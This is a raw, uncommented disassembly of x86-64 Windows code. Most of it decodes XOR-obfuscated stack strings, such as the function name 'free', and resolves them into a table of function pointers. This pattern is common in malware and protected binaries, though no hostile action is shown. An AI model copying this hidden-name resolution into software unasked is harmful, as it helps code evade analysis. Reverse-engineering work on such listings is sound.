movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140035cc0
xor r9d, r9d
lea r8, [rbp + 0x5f0]
lea rdx, [rbp + 0x6010]
jmp 0x140034db5
movabs rax, 0x2d88504e0ab1ae6
mov qword [rbp + 0xa040], rax
movabs rax, 0x1c81fb3b4ded82f0
mov qword [rbp + 0xa048], rax
movabs rax, 0x1fffffffe010c2c9
mov qword [rbp + 0xa050], rax
movabs rcx, 0xe00000001fee671f
mov qword [rbp + 0xa058], rcx
movabs rax, 0x2b48560e0df1aa8
mov qword [rbp + 0xa080], rax
movabs rax, 0x1cedfb5f4dc3829c
mov qword [rbp + 0xa088], rax
movabs rax, 0x1fffffffe010c2a5
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x4ab0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140035e00
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x4ab0]
mov rdx, r14
lea rcx, [rbp + 0x9638]
call fcn.140051d50
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x468], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rcx, rcx
jne 0x140036028
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe000000020013f25
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movdqa xmmword [rbp + 0x600], xmm0
movabs rax, 0x1d9317ba281a7705
mov qword [rbp + 0xa040], rax
movabs rax, 0x157f5d0d4bd3228f
mov qword [rbp + 0xa048], rax
movabs rax, 0x123758fb2c8ca704
mov qword [rbp + 0xa050], rax
movabs rcx, 0xf5bb26bc1a1086f
mov qword [rbp + 0xa058], rcx
movabs rax, 0x71f739d6447e034b
mov qword [rbp + 0xa080], rax
movabs rax, 0x611013566bfe02e3
mov qword [rbp + 0xa088], rax
movabs rax, 0x126a3c9559e3e124
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x6190]
lea rcx, [rbp + 0x70]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140035fc0
xor r9d, r9d
lea r8, [rbp + 0x600]
lea rdx, [rbp + 0x6190]
jmp 0x140034db5
movabs rax, 0x11c1adb7694c8069
mov qword [rbp + 0xa040], rax
movabs rax, 0x1373863f3be575f7
mov qword [rbp + 0xa048], rax
movabs rax, 0xdfeff1ef1
mov qword [rbp + 0xa050], rax
movabs rcx, 0x5bff20eb4c5
mov qword [rbp + 0xa058], rcx
movabs rax, 0x11a2adc1693f8004
mov qword [rbp + 0xa080], rax
movabs rax, 0x131786113b917585
mov qword [rbp + 0xa088], rax
movabs rax, 0xdfe931e9d
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x5780]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140036100
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x5780]
mov rdx, r14
lea rcx, [rbp + 0x9a70]
call fcn.140051d50
mov rsi, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rsi, rsi
jne 0x14003633e
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe000000020010f82
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movdqa xmmword [rbp + 0x610], xmm0
movabs rax, 0x179d0e6f33ec0206
mov qword [rbp + 0xa040], rax
movabs rax, 0x1e52921ea7291834
mov qword [rbp + 0xa048], rax
movabs rax, 0x18af3d077fce6a98
mov qword [rbp + 0xa050], rax
movabs rcx, 0x531cdbc412895b81
mov qword [rbp + 0xa058], rcx
movabs rax, 0x73b37a1d509a716b
mov qword [rbp + 0xa080], rax
movabs rax, 0x711cc93e8a097458
mov qword [rbp + 0xa088], rax
movabs rax, 0x45cb537210884aec
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x5090]
lea rcx, [rbp + 0x70]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400362d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x610]
lea rdx, [rbp + 0x5090]
jmp 0x140034db5
movabs rax, 0x1214dc2c658d63c7
mov qword [rbp + 0xa040], rax
movabs rax, 0x1b284c9299799d5
mov qword [rbp + 0xa048], rax
movabs rax, 0xed215b214b8fd
mov qword [rbp + 0xa050], rax
movabs rcx, 0xb72ff1159a0fc1d
mov qword [rbp + 0xa058], rcx
movabs rax, 0x1278dc4965e56394
mov qword [rbp + 0xa080], rax
movabs rax, 0x19c84fb29a499b9
mov qword [rbp + 0xa088], rax
movabs rax, 0xed279b278b899
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x6310]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140036410
lea r8, [rbp + 0x6310]
mov rdx, r14
lea rcx, [rbp + 0x78b0]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x30], rax
test rax, rax
jne 0x140036636
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe000000020011e05
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movdqa xmmword [rbp + 0x620], xmm0
movabs rax, 0x86d87eec114333a
mov qword [rbp + 0xa040], rax
movabs rax, 0x65bd7eeaf4abd2f3
mov qword [rbp + 0xa048], rax
movabs rax, 0x1e102ead3195de7b
mov qword [rbp + 0xa050], rax
movabs rax, 0x6887933646439d0f
mov qword [rbp + 0xa058], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x265fb482ad715b69
mov qword [rbp + 0xa080], rax
movabs rax, 0x2be65ec7d4c7be97
mov qword [rbp + 0xa088], rax
movabs rax, 0x7a7e5bc277b5aa14
mov qword [rbp + 0xa090], rax
movabs rax, 0x6887933646439d52
mov qword [rbp + 0xa098], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x6c70]
lea rcx, [rbp + 0x70]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400365c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xor r9d, r9d
lea r8, [rbp + 0x620]
lea rdx, [rbp + 0x6c70]
jmp 0x140034db5
mov ecx, 0x298
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140034dbd
xor edx, edx
mov r8d, 0x298
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x11bfa569cc93
mov qword [rbp + 0xa000], rax
movabs rcx, 0x50539160cf86524
mov qword [rbp + 0xa008], rcx
movabs rax, 0x11bfc00cbef5
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x8c0], xmm0
movaps xmm0, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x8d0], xmm0
movaps xmm1, xmmword [rbp + 0x4a0]
movaps xmmword [rbp + 0x8e0], xmm1
movaps xmm0, xmmword [rbp + 0x4b0]
movaps xmmword [rbp + 0x8f0], xmm0
movaps xmm1, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x900], xmm1
lea r8, [rbp + 0x8c0]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xb0], rax
movabs rax, 0x1250b3bd2580f2f6
mov qword [rbp + 0xa000], rax
movabs rcx, 0x10274c4f99f5dea7
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1250d0d249ec939b
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x1080], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x1090], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x10a0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x10b0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x10c0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x10d0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x10e0], xmm1
lea r8, [rbp + 0x1080]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xa0], rax
movabs rax, 0x1279ba9641b6c9e6
mov qword [rbp + 0xa000], rax
movabs rcx, 0x102f1fe1cf42e72f
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1279d9f92ddaa885
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x10f0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x1100], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x1110], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x1120], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x1130], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1140], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1150], xmm1
lea r8, [rbp + 0x10f0]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xa8], rax
movabs rax, 0x16aadd22eda84c39
mov qword [rbp + 0xa000], rax
movabs rcx, 0x41573a00a577785
mov qword [rbp + 0xa008], rcx
movabs rax, 0x16aaa4528ec52954
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x1160], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x1170], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x1180], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x1190], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x11a0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x11b0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x11c0], xmm1
lea r8, [rbp + 0x1160]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xb8], rax
movabs rax, 0x84f9b38b5a5fc5f
mov qword [rbp + 0xa040], rax
movabs rcx, 0x1d845f0b67e34497
mov qword [rbp + 0xa048], rcx
xorps xmm1, xmm1
movabs rax, 0x82aed57d8c89932
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x1400], xmm0
movaps xmmword [rbp + 0x1410], xmm2
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x1420], xmm0
movaps xmm1, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x1430], xmm1
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x1440], xmm0
movaps xmm1, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x1450], xmm1
movaps xmm0, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x1460], xmm0
movaps xmm1, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x1470], xmm1
lea r8, [rbp + 0x1400]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xc0], rax
movabs rax, 0x129d9796e69a8d
mov qword [rbp + 0xa000], rax
movabs rcx, 0x12501776312484f7
mov qword [rbp + 0xa008], rcx
movabs rax, 0x129df1fa8fffee
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x1020], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x1030], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x1040], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x1050], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x1060], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x1070], xmm0
lea r8, [rbp + 0x1020]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xc8], rax
movabs rax, 0x14254e4fd1
mov qword [rbp + 0xa000], rax
movabs rcx, 0x607fbf28a09
mov qword [rbp + 0xa008], rcx
movabs rax, 0x14252026a2
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x780], xmm0
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x790], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x7a0], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x7b0], xmm0
lea r8, [rbp + 0x780]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xd0], rax
movabs rax, 0x1283f4d9cc
mov qword [rbp + 0xa000], rax
movabs rcx, 0x697b697abf0
mov qword [rbp + 0xa008], rcx
movabs rax, 0x128387b6af
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x7c0], xmm0
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x7d0], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x7e0], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x7f0], xmm0
lea r8, [rbp + 0x7c0]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xd8], rax
movabs rax, 0x10a073342b5a62
mov qword [rbp + 0xa000], rax
movabs rcx, 0x587f6a19722a174
mov qword [rbp + 0xa008], rcx
movabs rax, 0x10a0155a422903
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x960], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x970], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x980], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x990], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x9a0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x9b0], xmm0
lea r8, [rbp + 0x960]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xe0], rax
movabs rax, 0x10b8cbf1f7a6181b
mov qword [rbp + 0xa000], rax
movabs rcx, 0x1204d3427fffdc15
mov qword [rbp + 0xa008], rcx
movabs rax, 0x10b8adc399c76c7a
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x11d0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x11e0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x11f0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x1200], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x1210], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1220], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1230], xmm1
lea r8, [rbp + 0x11d0]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xe8], rax
movabs rax, 0x1026e90f2ee2
mov qword [rbp + 0xa000], rax
movabs rcx, 0x5207fd288ec5515
mov qword [rbp + 0xa008], rcx
movabs rax, 0x10268f784192
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x910], xmm0
movaps xmm0, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x920], xmm0
movaps xmm1, xmmword [rbp + 0x4a0]
movaps xmmword [rbp + 0x930], xmm1
movaps xmm0, xmmword [rbp + 0x4b0]
movaps xmmword [rbp + 0x940], xmm0
movaps xmm1, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x950], xmm1
lea r8, [rbp + 0x910]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xf0], rax
movabs rax, 0x11deb71051758469
mov qword [rbp + 0xa000], rax
movabs rcx, 0x100302199c788939
mov qword [rbp + 0xa008], rcx
movabs rax, 0x11dec77d3206e71e
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x1240], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x1250], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x1260], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x1270], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x1280], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1290], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x12a0], xmm1
lea r8, [rbp + 0x1240]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xf8], rax
movabs rax, 0x12ec6b7a5c6978c6
mov qword [rbp + 0xa000], rax
movabs rcx, 0x126987a71036e4ef
mov qword [rbp + 0xa008], rcx
movabs rax, 0x12ec1b173f1b0cb5
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x12b0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x12c0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x12d0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x12e0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x12f0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1300], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1310], xmm1
lea r8, [rbp + 0x12b0]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x100], rax
movabs rax, 0x12ab7c873a340bcd
mov qword [rbp + 0xa000], rax
movabs rcx, 0x16367b17cd3a5701
mov qword [rbp + 0xa008], rcx
movabs rax, 0x12ab12e256467fbe
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x1320], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x1330], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x1340], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x1350], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x1360], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1370], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1380], xmm1
lea r8, [rbp + 0x1320]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x108], rax
movabs rax, 0x14de28fb203e2bac
mov qword [rbp + 0xa040], rax
movabs rax, 0x67dbd53b25c26d70
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x77a9478f524d49c1
mov qword [rbp + 0xa060], rax
movabs rax, 0x67dbd53b25c26d03
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
